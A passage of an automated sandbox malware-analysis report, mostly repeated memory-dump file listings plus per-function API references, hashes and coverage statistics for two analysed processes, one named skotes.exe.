Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 480f649947108761e430401eb93f7edbf477e258b9857ff3fe0b9bb7400e4f49
Instruction ID: fb8aa50e6984d3b71599651c3ad60b2f149802dc786eed582144d7f69591becb
Opcode Fuzzy Hash: 480f649947108761e430401eb93f7edbf477e258b9857ff3fe0b9bb7400e4f49
Instruction Fuzzy Hash: E9A105B0A01215AFEB61DFA4D945B9AB7F8FF14314F004139E815E7242EB39DA14CBE1

Function 0005CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0005CC66

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: c1bae097fcb8e41786b1361ad8441cbebc0b41d2cd08a8507b43739849aafca4
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: B1B102329047459FEB258F28C882BEFBBF5EF45341F14816AEC45EB242D6359D49CBA0

Function 0003BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0003BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0003BBE4
_xtime_get.LIBCPMT ref: 0003BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0003BC13

Memory Dump Source

Source File: 00000006.00000002.2606495111.0000000000021000.00000040.00000001.01000000.00000008.sdmp, Offset: 00020000, based on PE: true

Associated: 00000006.00000002.2606457191.0000000000020000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606495111.0000000000082000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606582028.0000000000089000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606641457.000000000008B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606675472.0000000000097000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2606886211.00000000001EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607058232.00000000001F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607098009.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607149087.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.000000000020A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607317514.0000000000211000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607393574.000000000021D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607424659.000000000021E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607474426.0000000000225000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607506421.0000000000226000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607553575.000000000022D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607584098.000000000022E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607617438.0000000000231000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607662200.0000000000233000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607702433.0000000000244000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607760358.0000000000245000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607873570.000000000024D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607907890.0000000000258000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2607972475.0000000000272000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608026721.0000000000273000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608099951.000000000027B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608157906.0000000000281000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608247483.0000000000282000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608279557.0000000000284000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608313217.0000000000285000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608366836.0000000000288000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608398148.0000000000291000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608446260.0000000000293000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608474739.0000000000294000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608503186.0000000000297000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608532136.0000000000298000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608560917.000000000029E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608590027.00000000002A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608621851.00000000002AA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608650369.00000000002AB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608679535.00000000002AC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608767322.00000000002AD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608827448.00000000002B3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608859227.00000000002C2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608917161.00000000002C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608959979.00000000002E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002E6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2608988240.00000000002F1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609123261.0000000000320000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609152473.0000000000321000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609198139.0000000000322000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609226071.0000000000327000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609257465.0000000000329000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609311308.0000000000337000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2609343607.0000000000338000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_20000_YHOCXQOWEM64H1IK2TUEH.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: f7840004825eeabff7651e38dbad08ce74fa5016cbf9e4cedbb6831810749af3
Instruction ID: 8198e453315bd0ad63a103598b11c1e1fc1afc7bc5acd167854262c020cd00ea
Opcode Fuzzy Hash: f7840004825eeabff7651e38dbad08ce74fa5016cbf9e4cedbb6831810749af3
Instruction Fuzzy Hash: 77210C71E00219AFEF11EBA4D882DFEB7BDEF48714F100425F605BB252DB24AD419BA0

Analysis Process: skotes.exePID: 6864, Parent PID: 4632COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1864
Total number of Limit Nodes:	15

Executed Functions

Function 00ED652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00ED652A,?,?,?,?,?,00ED7661), ref: 00ED6567

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 919105b8128cf596303e5e3d9d15671aea255d78263f4a808489b0f1ca655e22
Instruction ID: 511b1bdb7c36390b916dbf8f9c9dd2f0477e5114e0e0da10759f7f4cc3aaf166
Opcode Fuzzy Hash: 919105b8128cf596303e5e3d9d15671aea255d78263f4a808489b0f1ca655e22
Instruction Fuzzy Hash: C9E08C30000148AFCE257F18E81DA8C3BAAEB21749F406C11F80866362CB26EE93C680

Function 00EA9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00EAA963
CreateMutexA.KERNELBASE(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000007.00000002.2639109096.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000007.00000002.2639080519.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639109096.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639189643.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639218324.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639248486.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639355797.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639386701.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639419446.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639446286.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639473165.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639529094.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639557976.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639586193.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639614035.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639641913.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639669339.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639696430.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639724723.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639755747.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639782889.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639811627.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639842058.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639880313.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639910141.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639936866.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639964135.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2639992276.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640019488.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640046552.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640073692.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640104832.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640132481.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640159881.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640188427.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640215482.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640242971.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640271288.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640300965.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640328328.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640356001.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640383758.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640415630.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640448169.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640475569.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640511871.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640540663.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640603441.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640633497.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640663085.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640691846.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640722421.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640753280.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2640781473.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 239e729c941b74d4dff653fd535e8f39b4549cf7c50dfe47201200cfab57a28e
Instruction ID: 7ca5cceb48624a2d909ac335e3f78f305ec4201df53fb415e8a86fae7e4ba7e3
